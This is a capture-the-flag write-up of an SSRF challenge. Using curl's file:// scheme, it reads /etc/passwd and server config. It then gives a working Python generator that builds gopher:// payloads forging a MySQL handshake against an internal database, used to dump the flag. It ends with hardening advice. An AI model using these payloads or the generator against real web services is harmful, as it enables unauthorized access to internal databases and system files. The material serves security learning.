Hacklab ESGI 2019 — Rookie Web100 (SSRF via Gopher)
SSRF vulnerability in a curl-based web app exploited using the gopher:// protocol to connect to an internal MySQL database and extract the flag.
SSRF (Server-Side Request Forgery) via curl’s gopher:// protocol to access an internal MySQL database.
Challenge Overview
Category: Web | Points: 100 | Solves: 18

The challenge presented a “Website Checker” page — any URL submitted gets passed to curl. Classic SSRF setup.

Information Gathering
First, test the file:// protocol to read local files:
file:///etc/passwd

→ Exposes /etc/passwd, revealing mysql and www-data users.
file:///proc/self/environ

→ Shows PWD=/var/www/html.
file:///var/www/html/config_test.php

→ The page source reveals a PHP comment:
// TODO: MySQL connection with "tiix" user and adding a MySQL password...
MySQL user tiix with no password — perfect for SSRF via gopher.
Building the Gopher Payload
The gopher:// protocol lets curl send raw TCP bytes. We can forge a MySQL client handshake and query.
By sniffing a local MySQL connection with Wireshark:

Converting packets to raw bytes in Wireshark:

def gopher_exploit(payload_str):
payload = [payload_str[i:i+2] for i in range(0, len(payload_str), 2)]
return 'gopher://127.0.0.1:3306/_%' + '%'.join(payload)
Automated Query Builder
#!/usr/bin/python3
mysql_username = 'tiix'
hex_user = mysql_username.encode().hex()
def gopher_exploit(payload_str):
payload = [payload_str[i:i+2] for i in range(0, len(payload_str), 2)]
return 'gopher://127.0.0.1:3306/_%' + '%'.join(payload)
def build_payload(query):
conn_packet = 'a300000185a6ff0100000001210000000000000000000000000000000000000000000000'
conn_packet += hex_user
conn_packet += '00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c'
conn_packet += '69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d'
conn_packet += '067838365f36340c70726f6772616d5f6e616d65056d7973716c'
hex_query = query.strip().encode().hex()
query_len = '{:02x}'.format(len(hex_query) // 2 + 1)
query_payload = query_len + '00000003' + hex_query
return gopher_exploit(conn_packet + query_payload + '0100000001')
# List databases
print(build_payload("show databases"))
Exploitation Steps
1. List databases:
Sending the gopher payload for show databases reveals the securityday database.

2. List tables:
use securityday; show tables; → nothinghere, users
3. Dump the flag:
use securityday; SELECT * FROM nothinghere;

Flag: ESGI{W3lC0me_R00ki3_M0th3r_1s_0ld}
Key Takeaways
- SSRF + gopher = RCE equivalent against internal services accepting raw TCP
- curl’s
gopher://protocol is a powerful SSRF amplifier — always block it server-side - Validate and whitelist URLs on the server, never pass user input directly to curl
- Internal MySQL should require authentication and bind to
127.0.0.1with proper passwords